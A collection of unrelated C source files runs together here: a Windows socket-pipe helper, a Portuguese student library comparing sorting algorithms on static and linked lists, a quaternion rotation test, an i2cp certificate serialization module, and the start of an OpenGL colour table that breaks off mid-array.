tmp_sock; struct sockaddr_in serv_addr; int len = sizeof(serv_addr); /* We have to use the Unix socket invalid file descriptor value here. */ handles[0] = handles[1] = -1; /* * setup listen socket */ if ((s = socket(AF_INET, SOCK_STREAM, 0)) == PGINVALID_SOCKET) { write_msg(modulename, "pgpipe: could not create socket: error code %d\n", WSAGetLastError()); return -1; } memset((void *) &serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(0); serv_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (bind(s, (SOCKADDR *) &serv_addr, len) == SOCKET_ERROR) { write_msg(modulename, "pgpipe: could not bind: error code %d\n", WSAGetLastError()); closesocket(s); return -1; } if (listen(s, 1) == SOCKET_ERROR) { write_msg(modulename, "pgpipe: could not listen: error code %d\n", WSAGetLastError()); closesocket(s); return -1; } if (getsockname(s, (SOCKADDR *) &serv_addr, &len) == SOCKET_ERROR) { write_msg(modulename, "pgpipe: getsockname() failed: error code %d\n", WSAGetLastError()); closesocket(s); return -1; } /* * setup pipe handles */ if ((tmp_sock = socket(AF_INET, SOCK_STREAM, 0)) == PGINVALID_SOCKET) { write_msg(modulename, "pgpipe: could not create second socket: error code %d\n", WSAGetLastError()); closesocket(s); return -1; } handles[1] = (int) tmp_sock; if (connect(handles[1], (SOCKADDR *) &serv_addr, len) == SOCKET_ERROR) { write_msg(modulename, "pgpipe: could not connect socket: error code %d\n", WSAGetLastError()); closesocket(handles[1]); handles[1] = -1; closesocket(s); return -1; } if ((tmp_sock = accept(s, (SOCKADDR *) &serv_addr, &len)) == PGINVALID_SOCKET) { write_msg(modulename, "pgpipe: could not accept connection: error code %d\n", WSAGetLastError()); closesocket(handles[1]); handles[1] = -1; closesocket(s); return -1; } handles[0] = (int) tmp_sock; closesocket(s); return 0; } /* * Windows implementation of reading from a pipe. */ static int piperead(int s, char *buf, int len) { int ret = recv(s, buf, len, 0); if (ret < 0 && WSAGetLastError() == WSAECONNRESET) { /* EOF on the pipe! */ ret = 0; } return ret; } #endif /* WIN32 */
142730.c
#include "bbt.h" //----------------BBT ESTÁTICA----------------------- bbt_e* inicia_bbt_e(){ bbt_e *be; be=(bbt_e*)malloc(sizeof(bbt_e)); if(be!=NULL){ be->inicio=0; be->final=0; be->quantidade=0; } return be; } int insere_texto_e(bbt_e *be, texto_e te){ if(be==NULL){ return 0; } be->textos[be->final]=te; be->final++; be->quantidade++; } void imprime_texto_e(bbt_e *be){ int i=0,j=0,k=0; printf("biblioteca estatica\n"); for(i=0;i<be->quantidade;i++){ imprime_palavra_e(&be->textos[i]); printf("\n"); } } int remove_texto_e(bbt_e *be){ be->final--; be->quantidade--; } int tam_bbt_e(bbt_e *be){ return be->quantidade; } //----------------BBT DINÂMICA----------------------- void FLVazia_bbt(biblioteca *bbt){ bbt->Primeiro=(TiApontador)malloc(sizeof(TiCelula)); bbt->quantidade=0; bbt->Primeiro->Ant=NULL; bbt->Ultimo=bbt->Primeiro; } void Insere_txt(texto x, biblioteca *bbt){ bbt->Ultimo->Prox=(TiApontador)malloc(sizeof(TiCelula)); bbt->Ultimo->Prox->textos=x; bbt->Ultimo->Ant=bbt->Ultimo; bbt->Ultimo->Prox->Prox=NULL; bbt->Ultimo=bbt->Ultimo->Prox; bbt->quantidade++; // armazena a quantidade de palavras no texto } void Imprime_txt(biblioteca bbt){ TiApontador Aux; printf("biblioteca dinamica\n"); Aux=bbt.Primeiro->Prox; while(Aux!=NULL){ Imprime_plv(Aux->textos); printf("\n"); Aux=Aux->Prox; } } int tamanho_bbt(TiCelula *lista_bbt){ int contador = 0 ; for(;lista_bbt != NULL ; lista_bbt = lista_bbt->Prox){ contador++; } return contador; } int Remove_txt(biblioteca bbt){ TiCelula *aux; if(bbt.quantidade==0){ return 0; } else{ aux=bbt.Ultimo; bbt.Ultimo=bbt.Ultimo->Prox; bbt.Ultimo->Prox=NULL; free(aux); bbt.quantidade--; } } //-----------------ORDENAÇÕES------------------------- //-----------------ESTÁTICO--------------------------- /* -----------esse return varia para cada celula------------ -----operações de ordenação -----a chave da orenação da bbt é o tamanho do texto -----ou seja o maior texto ficará no fim -----ordenações estáticas*/ void select_sort_vetor_bbt(bbt_e *ptr_bbt_estatica,int flag){ int i, j,min; double comp=0,mov=0; int n= ptr_bbt_estatica->quantidade ; texto_e aux; for(i = 0; i< n-1 ;i++){ min = i; for (j = i + 1; j < n ; j++){ comp++; if(ptr_bbt_estatica->textos[j].tam < ptr_bbt_estatica->textos[min].tam){ min = j ; } } mov++; aux = ptr_bbt_estatica->textos[min]; ptr_bbt_estatica->textos[min]= ptr_bbt_estatica->textos[i]; ptr_bbt_estatica->textos[i] = aux; } if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } void QuickSort_bbt(bbt_e *be,int n,int flag){ double comp=0,mov=0; ordena_bbt(0,n-1,be,&comp,&mov); if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } void ordena_bbt(int left, int right,bbt_e *be,double* comp,double* mov){ int i,j; particao_bbt(left,right,&i,&j,be,comp,mov); (*comp)++; if(left<j) ordena_bbt(left,j,be,comp,mov); (*comp)++; if(i<right) ordena_bbt(i,right,be,comp,mov); } void particao_bbt(int left,int right,int *i,int *j,bbt_e *be,double* comp,double* mov){ *i =left; *j=right; texto_e pivot =be->textos[(*i + *j)/2]; texto_e aux; do{ (*comp)++; while(pivot.tam > be->textos[*i].tam ){ (*i)++; (*comp)++; } while(pivot.tam < be->textos[*j].tam){ (*j)--; (*comp)++; } (*comp)++; if(*i <= *j){ (*mov)++; aux = be->textos[*i]; be->textos[*i] = be->textos[*j]; be->textos[*j] = aux; (*i)++; (*j)--; } }while(*i <= *j); } void merge_bbt(bbt_e *be, int l, int m, int r,double *comp,double *mov,int flag) { int i, j, k; int n1 = m - l + 1; int n2 = r - m; /* cria vetores temporários */ texto_e L[n1], R[n2]; /* copia os dados para os vetores L[] and R[] */ for (i = 0; i < n1; i++) L[i] = be->textos[l + i]; for (j = 0; j < n2; j++) R[j] = be->textos[m + 1+ j]; /* Mesclar as matrizes temporárias novamente te[l..r]*/ i = 0; // index inicial do primeiro subvetor j = 0; // index inicial do segundo subvetor k = l; // index inicial do terceiro subvetor while (i < n1 && j < n2) { (*comp)++; if (L[i].tam <= R[j].tam) { (*mov)++; be->textos[k] = L[i]; i++; } else{ (*mov)++; be->textos[k] = R[j]; j++; } k++; } /* Copia os elementos restantes de L [],se houver algum*/ while (i < n1) { (*mov)++; be->textos[k] = L[i]; i++; k++; } /* Copia os elementos restantes de R [],se houver algum*/ while (j < n2) { (*mov)++; be->textos[k] = R[j]; j++; k++; } } /* l é para o índice esquerdo e r é o índice direito do subvetor de te[] a ser classificado*/ void mergeSort_bbt(bbt_e *be, int l, int r,int flag) { double comp=0,mov=0; if (l < r) { // Igual a (l + r) / 2, mas evita o excesso de // amplia l e h int m = l+(r-l)/2; // Classificar primeira e segunda metades mergeSort_bbt(be, l, m,0); mergeSort_bbt(be, m+1, r,0); merge_bbt(be, l, m, r,&comp,&mov,0); } if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } void buildMaxHeap_bbt(bbt_e *be, int n, double *comp , double *mov) { for (int i = 1; i < n; i++) { // se o filho for maior que o pai if (be->textos[i].tam > be->textos[(i - 1) / 2].tam) { int j = i; // se o filho for maior que o pai while (be->textos[j].tam > be->textos[(j - 1) / 2].tam) { (*comp)++; texto_e aux=be->textos[j]; be->textos[j]=be->textos[(j - 1) / 2]; be->textos[(j - 1) / 2]=aux; j = (j - 1) / 2; (*mov)++; } } } } void heapSort_bbt(bbt_e *be, int n, int flag) { double comp = 0 , mov = 0 ; buildMaxHeap_bbt(be, n, &comp , &mov); for (int i = n - 1; i > 0; i--) { // valor de swap do primeiro indexado com o último indexado mov++; texto_e aux =be->textos[0]; be->textos[0]=be->textos[i]; be->textos[i]=aux; // valor de swap do primeiro indexado com o último indexado int j = 0, index; do { index = (2 * j + 1); //se filho esquerdo for menor que a variável de índice de ponto filho direito para filho direito comp++; if (be->textos[index].tam < be->textos[index + 1].tam && index < (i - 1)) index++; // se pai for menor que filho, troque pai por filho com valor mais alto comp++; if (be->textos[j].tam < be->textos[index].tam && index < i){ mov++; texto_e aux =be->textos[j]; be->textos[j]=be->textos[index]; be->textos[index]=aux; } j = index; } while (index < i); } if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } //------------------------DINÂMICO------------------------------------------------------- void select_sort_lista_bbt(biblioteca bbt_dinamica,int flag){ //celulas no estilo da bbt TiCelula *a, *b, *c, *d, *r; double comp=0,mov=0; a = b = bbt_dinamica.Primeiro; // While b não é a última célula while (b->Prox) { c = d = b->Prox; // While d está apontando para um célula válida while (d) { comp++; if (b->textos.qtd_palavra > d->textos.qtd_palavra) { // Se d aparecer imediatamente após b if (b->textos.qtd_palavra == d->textos.qtd_palavra) { // Caso 1: b é a cabeça da lista encadeada if (b == bbt_dinamica.Primeiro) { // Move d antes b b->Prox = d->Prox; d->Prox = b; // troca os ponteiros b de d mov++; r = b; b = d; d = r; c = d; // att a célula bbt_dinamica.Primeiro = b; // Passar para o próximo elemento // como já está em ordem d = d->Prox; } // Case 2: b não é o cabeça da lista encadeada else { // Move d antes de b b->Prox = d->Prox; d->Prox = b; a->Prox = d; // troca os ponteiros d e b mov++; r = b; b = d; d = r; c = d; //Passar para o próximo elemento // como já está em ordem d = d->Prox; } } // Se b e d tiverem valores diferentes de zero // número de nós entre eles else { // Caso 3: b é a cabeça da lista encadeada if (b == bbt_dinamica.Primeiro) { // troca b->Prox e d->Prox r = b->Prox; b->Prox = d->Prox; d->Prox = r; c->Prox = b; // Troca os ponteiros de b e d mov++; r = b; b = d; d = r; c = d; // Passar para o próximo elemento // como já está em ordem d = d->Prox; // Update the head bbt_dinamica.Primeiro = b; } // Case 4: b não é a cabeça da lista encadeada else { // troca b->Prox e d->Prox r = b->Prox; b->Prox = d->Prox; d->Prox = r; c->Prox = b; a->Prox = d; // Troca os ponteiros de b e d mov++; r = b; b = d; d = r; c = d; // Passar para o próximo elemento // como já está em ordem d = d->Prox; } } } else { // Passar para o próximo elemento // como já está em ordem c = d; d = d->Prox; } } a = b; b = b->Prox; } if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } TiCelula *pivo_aleatorio_QsD_bbt(TiCelula *bbt_celula_cabeca){ int tam_lista = tamanho_bbt(bbt_celula_cabeca); int posicao_pivo = rand() % tam_lista; for (int count = 0; count < posicao_pivo; count++){ bbt_celula_cabeca = bbt_celula_cabeca->Prox; } return bbt_celula_cabeca; //encontra a celula que será o pivô na lista } TiCelula * ultima_celula_QsD_bbt(TiCelula *bbt_celula_atual){ for (; bbt_celula_atual->Prox != NULL; bbt_celula_atual = bbt_celula_atual->Prox); return bbt_celula_atual; } TiCelula * junta_QsD_bbt(TiCelula* bbt_lista_esquerda, TiCelula * pivo, TiCelula * bbt_lista_direita){ pivo->Prox = bbt_lista_direita; if (bbt_lista_esquerda == NULL) return pivo; TiCelula * ultimo_esquerda = ultima_celula_QsD_bbt(bbt_lista_esquerda); ultimo_esquerda->Prox = pivo; return bbt_lista_esquerda; } TiCelula* QuickSort_Dinamico_bbt(TiCelula * bbt_lista,int flag){ if(bbt_lista == NULL || bbt_lista->Prox == NULL ) return bbt_lista ; double comp=0,mov=0; TiCelula *pivo = pivo_aleatorio_QsD_bbt(bbt_lista); TiCelula *lista_sub_esquerda = NULL, *lista_sub_direita = NULL; for (TiCelula * celula_atual = bbt_lista; celula_atual != NULL;){ TiCelula * prox_celula = celula_atual->Prox; comp++; if (celula_atual != pivo){ if (celula_atual->textos.qtd_palavra <= pivo->textos.qtd_palavra){ mov++; celula_atual->Prox = lista_sub_esquerda; lista_sub_esquerda = celula_atual; } else{ mov++; celula_atual->Prox = lista_sub_direita; lista_sub_direita =celula_atual; } } celula_atual = prox_celula; } if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } return junta_QsD_bbt(QuickSort_Dinamico_bbt(lista_sub_esquerda,0), pivo, QuickSort_Dinamico_bbt(lista_sub_direita,0)); } void MergeSort_bbt(TiCelula** referencia_cabeca,int flag) { TiCelula* cabeca = * referencia_cabeca; TiCelula* a; TiCelula* b; double comp=0,mov=0; /* Caso Básico-- tamanho 0 ou 1 */ if ((cabeca == NULL) || (cabeca->Prox == NULL)) { return; } /* Divida a cabeça em sublistas 'a' e 'b' */ divide_frente_tras_bbt(cabeca, &a, &b); /* Classificar recursivamente os sublistas */ MergeSort_bbt(&a,0); MergeSort_bbt(&b,0); /*mescla as duas listas ordenadas */ * referencia_cabeca = Classifica_Merge_bbt(a, b,&comp,&mov,0); if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } TiCelula* Classifica_Merge_bbt(TiCelula* a, TiCelula* b,double *comp,double *mov,int flag) { TiCelula* resultado = NULL; /* Base dos casos */ if (a == NULL) return (b); else if (b == NULL) return (a); /* Escolha a ou b e volte a */ (*comp)++; if (a->textos.qtd_palavra <= b->textos.qtd_palavra) { (*mov)++; resultado = a; resultado->Prox = Classifica_Merge_bbt(a->Prox, b,comp,mov,1); } else { (*mov)++; resultado = b; resultado->Prox = Classifica_Merge_bbt(a, b->Prox,comp,mov,1); } return (resultado); } /* FUNÇÕES DE UTILIDADE */ /* Divida os nós da lista em metades da frente e de trás,    e retorne as duas listas usando os parâmetros de referência.    Se o comprimento for ímpar, o nó extra deve estar na lista da frente.    Usa a estratégia de ponteiro rápido / lento. */ void divide_frente_tras_bbt(TiCelula* fonte, TiCelula** referencia_frente, TiCelula** referencia_tras){ TiCelula* rapido; TiCelula* devagar; devagar = fonte; rapido = fonte->Prox; /* Avance dois nós 'rápidos' e avance um nó 'lento' */ while (rapido != NULL) { rapido = rapido->Prox; if (rapido != NULL) { devagar = devagar->Prox; rapido = rapido->Prox; } } /*'slow' está antes do ponto médio da lista, então divida-o em dois nesse ponto. */ *referencia_frente =fonte; *referencia_tras = devagar->Prox; devagar->Prox = NULL; } void insertionSort_bbt(TiCelula **celula_refencia, int flag) { //inicia lista dinamica sorted double comp = 0 , mov = 0 ; TiCelula *sorted = NULL; // Percorra a lista vinculada fornecida e insira todos os nós para classificar TiCelula *current = *celula_refencia; while (current != NULL) { //Armazenar próximo para a próxima iteração TiCelula *prox = current->Prox; // inserir corrente na lista vinculada classificada sortedInsert_bbt(&sorted, current,&comp , &mov); // Atualizar atual current = prox; } //Atualize head_ref para apontar para a lista vinculada classificada *celula_refencia = sorted; if(flag){ printf("Comparações iguais a = %lf\n",comp); printf("Movimentações iguais a = %lf\n",mov); } } /* para inserir um novo nó em uma lista. Observe que essa função espera um ponteiro para head_ref, pois isso pode modificar o cabeçalho da lista vinculada de entrada (semelhante a push ())*/ void sortedInsert_bbt(TiCelula **celula_refencia,TiCelula* novo_no, double *comp , double *mov) { TiCelula* atual; /* caso especial para o final da celula cabeca */ if (*celula_refencia == NULL || (*celula_refencia)->textos.qtd_palavra >= novo_no->textos.qtd_palavra) { (*comp)++; novo_no->Prox = *celula_refencia; *celula_refencia = novo_no; } else { /* Localize o nó antes do ponto de inserção */ atual = *celula_refencia; while (atual->Prox!=NULL && atual->Prox->textos.qtd_palavra < novo_no->textos.qtd_palavra) { (*comp)++; atual = atual->Prox; } (*mov)++; novo_no->Prox = atual->Prox; atual->Prox = novo_no; } }
187863.c
// Toy code for: // http://marc-b-reynolds.github.io/quaternion/2016/08/09/TwoNormToRot.html // // Generate uniform points on the unit sphere, form the rotation, reconstruct the // target normal and roughly measure angular error. Ignores the degenerate // case in all implementations. // // to compile under VC you'll have to change the float hex-constants...couldn't // be bothered. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <math.h> #if 1 // LAZY HERE #include <x86intrin.h> #endif // compile time configuration options // enable to test with both pseudo-random and Sobol sequences #define USE_SOBOL #define TRIALS 0xFFFFFFF #include "../SFH/quat.h" // xoroshiro128+ uint64_t rng_state[2]; static inline uint64_t rotl(const uint64_t v, int i) { return (v << i)|(v >> (64-i)); } static inline uint64_t rng_u64(void) { uint64_t s0 = rng_state[0]; uint64_t s1 = rng_state[1]; uint64_t r = s0 + s1; s1 ^= s0; rng_state[0] = rotl(s0,55) ^ s1 ^ (s1<<14); rng_state[1] = rotl(s1,36); return r; } static inline float rng_f32(void) { return (rng_u64() >> 40)*0x1p-24f; } // uniform on disk float uniform_disk(vec2_t* p) { float d,x,y; uint64_t v; do { v = rng_u64(); x = (v >> 40)*0x1p-24f; y = (v & 0xFFFFFF)*0x1p-24f; x = 2.f*x-1.f; d = x*x; y = 2.f*y-1.f; d += y*y; } while(d >= 1.f); p->x = x; p->y = y; return d; } // uniform on S2 void uniform_s2(vec3_t* p) { float d,s; vec2_t v; d = uniform_disk(&v); s = 2.f*sqrtf(1.f-d); p->x = s*v.x; p->y = s*v.y; p->z = 1.f-2.f*d; } void ln(void) {printf("\n");} void vec3_print(vec3_t* v) { printf("(%+f,%+f,%+f) ",v->x,v->y,v->z); } void vec3_printa(vec3_t* v) { printf("(%+a,%+a,%+a) ",v->x,v->y,v->z); } void matrix_ver(float* m, vec3_t* a, vec3_t* b) { vec3_t v; vec3_t s; vec3_cross(&v,a,b); vec3_hmul(&s,&v,&v); float d = vec3_dot(a,b); float r = 1.f/(1.f+d); float rz = v.z*r; float xy = v.x*v.y*r; float xz = v.x*rz; float yz = v.y*rz; m[1]= xy-v.z; m[3]= xy+v.z; m[2]= xz+v.y; m[6]= xz-v.y; m[5]= yz-v.x; m[7]= yz+v.x; m[0]= d+r*s.x; m[4]= d+r*s.y; m[8]= d+r*s.z; } void m33_xform(vec3_t* r, float* m, vec3_t* v) { r->x = m[0]*v->x + m[1]*v->y + m[2]*v->z; r->y = m[3]*v->x + m[4]*v->y + m[5]*v->z; r->z = m[6]*v->x + m[7]*v->y + m[8]*v->z; } float spew(vec3_t* r, vec3_t* a, vec3_t* b, char c) { float d = vec3_dot(r,b); float e = vec3_dot(a,b); printf("%c: %f ", c, 57.2958f*acosf(d)); vec3_print(r); vec3_print(b); vec3_print(a); printf("%+f %10f\n", e, 57.2958f*acosf(e)); return d; } int main() { uint64_t t = __rdtsc(); rng_state[0] = t; rng_state[1] = t ^ _rdtsc(); float d0 = 1.f; float d1 = 1.f; for(uint32_t i=0; i<TRIALS; i++) { vec3_t a,b,r,s; quat_t q; float m[9]; // 2 uniform normals uniform_s2(&a); uniform_s2(&b); quat_from_normals(&q,&a,&b); // quat ver quat_rot(&r,&q,&a); matrix_ver(m,&a,&b); // matrix ver m33_xform(&s,m,&a); if (vec3_dot(&r,&b) < d0) { d0 = spew(&r, &a,&b, 'Q'); } if (vec3_dot(&s,&b) < d1) { d1 = spew(&s, &a,&b, 'M'); } } return 0; }
128021.c
/* Part of i2cp C library Copyright (C) 2013 Oliver Queen <[email protected]> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <inttypes.h> #include <stdlib.h> #include <i2cp/i2cp.h> #define TAG_CERT "CERTIFICATE" typedef struct i2cp_certificate_t { i2cp_certificate_type_t type; uint8_t *data; uint32_t length; } i2cp_certificate_t; struct i2cp_certificate_t * i2cp_certificate_copy(const i2cp_certificate_t *src) { i2cp_certificate_t *cert; /* allocate certificate */ cert = malloc(sizeof(i2cp_certificate_t)); memset(cert, 0, sizeof(i2cp_certificate_t)); /* make a copy */ cert->type = src->type; cert->length = src->length; cert->data = malloc(src->length); memcpy(cert->data, src->data, src->length); return cert; } struct i2cp_certificate_t * i2cp_certificate_new(i2cp_certificate_type_t type) { i2cp_certificate_t *cert; cert = malloc(sizeof(i2cp_certificate_t)); memset(cert, 0, sizeof(i2cp_certificate_t)); cert->type = type; return cert; } struct i2cp_certificate_t * i2cp_certificate_new_from_message(stream_t *stream) { i2cp_certificate_t *cert; cert = malloc(sizeof(i2cp_certificate_t)); memset(cert, 0, sizeof(i2cp_certificate_t)); /* type */ stream_in_uint8(stream, cert->type); /* cert length */ stream_in_uint16(stream, cert->length); if (cert->type != CERTIFICATE_NULL && cert->length == 0) { fatal(CERTIFICATE|PROTOCOL, "%s", "only null certificates are allowed to have zero length."); free(cert); return NULL; } /* if null cert */ if (cert->type == CERTIFICATE_NULL) return cert; /* cert data */ cert->data = malloc(cert->length); stream_in_uint8p(stream, cert->data, cert->length); return cert; } struct i2cp_certificate_t * i2cp_certificate_new_from_stream(stream_t *stream) { i2cp_certificate_t *cert; cert = malloc(sizeof(i2cp_certificate_t)); memset(cert, 0, sizeof(i2cp_certificate_t)); /* type */ stream_in_uint8(stream, cert->type); /* cert length */ stream_in_uint16(stream, cert->length); if (cert->type != CERTIFICATE_NULL && cert->length == 0) { fatal(CERTIFICATE|PROTOCOL, "%s", "only null certificates are allowed to have zero length."); free(cert); return NULL; } /* if null cert */ if (cert->type == CERTIFICATE_NULL) return cert; /* cert data */ cert->data = malloc(cert->length); stream_in_uint8p(stream, cert->data, cert->length); return cert; } void i2cp_certificate_to_stream(struct i2cp_certificate_t *self, stream_t *stream) { stream_out_uint8(stream, self->type); stream_out_uint16(stream, self->length); if (self->length > 0) stream_out_uint8p(stream, self->data, self->length); stream_mark_end(stream); } void i2cp_certificate_destroy(struct i2cp_certificate_t *self) { free(self); } void i2cp_certificate_get_message(struct i2cp_certificate_t *self, stream_t *stream) { stream_out_uint8(stream, self->type); stream_out_uint16(stream, self->length); if (self->length > 0) stream_out_uint8p(stream, self->data, self->length); stream_mark_end(stream); }
934088.c
// // Created by sachetto on 11/11/17. // #include "draw.h" #include "../models_library/ten_tusscher_2006.h" #include <GL/freeglut.h> #define pi 3.14159265f #define rad ((pi)/180.0f) #define WIN_WIDTH 1024 #define WIN_HEIGTH 768 #define NUM_COLORS 257 static const double color[NUM_COLORS][3] = { {0.2298057,0.298717966,0.753683153}, {0.234299935,0.305559204,0.759874796}, {0.238810063,0.312388385,0.766005866}, {0.243336663,0.319205292,0.772075394}, {0.247880265,0.326009656,0.778082421}, {0.25244136,0.332801165,0.784026001}, {0.257020396,0.339579464,0.789905199}, {0.261617779,0.346344164,0.79571909}, {0.26623388,0.353094838,0.801466763}, {0.270869029,0.359831032,0.807147315}, {0.275523523,0.36655226,0.812759858}, {0.28019762,0.373258014,0.818303516}, {0.284891546,0.379947761,0.823777422}, {0.289605495,0.386620945,0.829180725}, {0.294339624,0.393276993,0.834512584}, {0.299094064,0.399915313,0.839772171}, {0.30386891,0.406535296,0.84495867}, {0.308664231,0.413136319,0.850071279}, {0.313480065,0.419717745,0.855109207}, {0.318316422,0.426278924,0.860071679}, {0.323173283,0.432819194,0.864957929}, {0.328050603,0.439337884,0.869767207}, {0.332948312,0.445834313,0.874498775}, {0.337866311,0.45230779,0.87915191}, {0.342804478,0.458757618,0.883725899}, {0.347762667,0.465183092,0.888220047}, {0.352740705,0.471583499,0.892633669}, {0.357738399,0.477958123,0.896966095}, {0.362755532,0.484306241,0.90121667}, {0.367791863,0.490627125,0.905384751}, {0.372847134,0.496920043,0.909469711}, {0.37792106,0.503184261,0.913470934}, {0.38301334,0.50941904,0.917387822}, {0.38812365,0.515623638,0.921219788}, {0.39325165,0.521797312,0.924966262}, {0.398396976,0.527939316,0.928626686}, {0.40355925,0.534048902,0.932200518}, {0.408738074,0.540125323,0.93568723}, {0.413933033,0.546167829,0.939086309}, {0.419143694,0.552175668,0.942397257}, {0.424369608,0.558148092,0.945619588}, {0.429610311,0.564084349,0.948752835}, {0.434865321,0.56998369,0.951796543}, {0.440134144,0.575845364,0.954750272}, {0.445416268,0.581668623,0.957613599}, {0.450711169,0.587452719,0.960386113}, {0.456018308,0.593196905,0.96306742}, {0.461337134,0.598900436,0.96565714}, {0.46666708,0.604562568,0.968154911}, {0.472007569,0.61018256,0.970560381}, {0.477358011,0.615759672,0.972873218}, {0.482717804,0.621293167,0.975093102}, {0.488086336,0.626782311,0.97721973}, {0.493462982,0.632226371,0.979252813}, {0.498847107,0.637624618,0.981192078}, {0.504238066,0.642976326,0.983037268}, {0.509635204,0.648280772,0.98478814}, {0.515037856,0.653537236,0.986444467}, {0.520445349,0.658745003,0.988006036}, {0.525857,0.66390336,0.989472652}, {0.531272118,0.669011598,0.990844132}, {0.536690004,0.674069012,0.99212031}, {0.542109949,0.679074903,0.993301037}, {0.54753124,0.684028574,0.994386177}, {0.552953156,0.688929332,0.995375608}, {0.558374965,0.693776492,0.996269227}, {0.563795935,0.698569369,0.997066945}, {0.569215322,0.703307287,0.997768685}, {0.574632379,0.707989572,0.99837439}, {0.580046354,0.712615557,0.998884016}, {0.585456486,0.717184578,0.999297533}, {0.590862011,0.721695979,0.999614929}, {0.596262162,0.726149107,0.999836203}, {0.601656165,0.730543315,0.999961374}, {0.607043242,0.734877964,0.999990472}, {0.61242261,0.739152418,0.999923544}, {0.617793485,0.743366047,0.999760652}, {0.623155076,0.747518228,0.999501871}, {0.628506592,0.751608345,0.999147293}, {0.633847237,0.755635786,0.998697024}, {0.639176211,0.759599947,0.998151185}, {0.644492714,0.763500228,0.99750991}, {0.649795942,0.767336039,0.996773351}, {0.655085089,0.771106793,0.995941671}, {0.660359348,0.774811913,0.995015049}, {0.665617908,0.778450826,0.993993679}, {0.670859959,0.782022968,0.992877768}, {0.676084688,0.78552778,0.991667539}, {0.681291281,0.788964712,0.990363227}, {0.686478925,0.792333219,0.988965083}, {0.691646803,0.795632765,0.987473371}, {0.696794099,0.798862821,0.985888369}, {0.701919999,0.802022864,0.984210369}, {0.707023684,0.805112381,0.982439677}, {0.712104339,0.808130864,0.980576612}, {0.717161148,0.811077814,0.978621507}, {0.722193294,0.813952739,0.976574709}, {0.727199962,0.816755156,0.974436577}, {0.732180337,0.81948459,0.972207484}, {0.737133606,0.82214057,0.969887816}, {0.742058956,0.824722639,0.967477972}, {0.746955574,0.827230344,0.964978364}, {0.751822652,0.829663241,0.962389418}, {0.756659379,0.832020895,0.959711569}, {0.761464949,0.834302879,0.956945269}, {0.766238556,0.836508774,0.95409098}, {0.770979397,0.838638169,0.951149176}, {0.775686671,0.840690662,0.948120345}, {0.780359577,0.842665861,0.945004985}, {0.78499732,0.84456338,0.941803607}, {0.789599105,0.846382843,0.938516733}, {0.79416414,0.848123884,0.935144898}, {0.798691636,0.849786142,0.931688648}, {0.803180808,0.85136927,0.928148539}, {0.807630872,0.852872925,0.92452514}, {0.812041048,0.854296776,0.92081903}, {0.81641056,0.855640499,0.917030798}, {0.820738635,0.856903782,0.913161047}, {0.825024503,0.85808632,0.909210387}, {0.829267397,0.859187816,0.90517944}, {0.833466556,0.860207984,0.901068838}, {0.837621221,0.861146547,0.896879224}, {0.841730637,0.862003236,0.892611249}, {0.845794055,0.862777795,0.888265576}, {0.849810727,0.863469972,0.883842876}, {0.853779913,0.864079527,0.87934383}, {0.857700874,0.864606232,0.874769128}, {0.861572878,0.865049863,0.870119469}, {0.865395197,0.86541021,0.865395561}, {0.86977749,0.863633958,0.859948576}, {0.874064226,0.861776352,0.854466231}, {0.878255583,0.859837644,0.848949435}, {0.882351728,0.857818097,0.843399101}, {0.886352818,0.85571798,0.837816138}, {0.890259,0.853537573,0.832201453}, {0.89407041,0.851277164,0.826555954}, {0.897787179,0.848937047,0.820880546}, {0.901409427,0.846517528,0.815176131}, {0.904937269,0.844018919,0.809443611}, {0.908370816,0.841441541,0.803683885}, {0.911710171,0.838785722,0.79789785}, {0.914955433,0.836051799,0.792086401}, {0.918106696,0.833240115,0.786250429}, {0.921164054,0.830351023,0.780390824}, {0.924127593,0.827384882,0.774508472}, {0.926997401,0.824342058,0.768604257}, {0.929773562,0.821222926,0.76267906}, {0.932456159,0.818027865,0.756733758}, {0.935045272,0.814757264,0.750769226}, {0.937540984,0.811411517,0.744786333}, {0.939943375,0.807991025,0.738785947}, {0.942252526,0.804496196,0.732768931}, {0.944468518,0.800927443,0.726736146}, {0.946591434,0.797285187,0.720688446}, {0.948621357,0.793569853,0.714626683}, {0.950558373,0.789781872,0.708551706}, {0.952402567,0.785921682,0.702464356}, {0.954154029,0.781989725,0.696365473}, {0.955812849,0.777986449,0.690255891}, {0.957379123,0.773912305,0.68413644}, {0.958852946,0.769767752,0.678007945}, {0.960234418,0.765553251,0.671871226}, {0.961523642,0.761269267,0.665727098}, {0.962720725,0.756916272,0.659576372}, {0.963825777,0.752494738,0.653419853}, {0.964838913,0.748005143,0.647258341}, {0.965760251,0.743447967,0.64109263}, {0.966589914,0.738823693,0.634923509}, {0.96732803,0.734132809,0.628751763}, {0.967974729,0.729375802,0.62257817}, {0.96853015,0.724553162,0.616403502}, {0.968994435,0.719665383,0.610228525}, {0.969367729,0.714712956,0.604054002}, {0.969650186,0.709696378,0.597880686}, {0.969841963,0.704616143,0.591709328}, {0.969943224,0.699472746,0.585540669}, {0.969954137,0.694266682,0.579375448}, {0.969874878,0.688998447,0.573214394}, {0.969705626,0.683668532,0.567058232}, {0.96944657,0.678277431,0.560907681}, {0.969097901,0.672825633,0.554763452}, {0.968659818,0.667313624,0.54862625}, {0.968132528,0.661741889,0.542496774}, {0.967516241,0.656110908,0.536375716}, {0.966811177,0.650421156,0.530263762}, {0.966017559,0.644673104,0.524161591}, 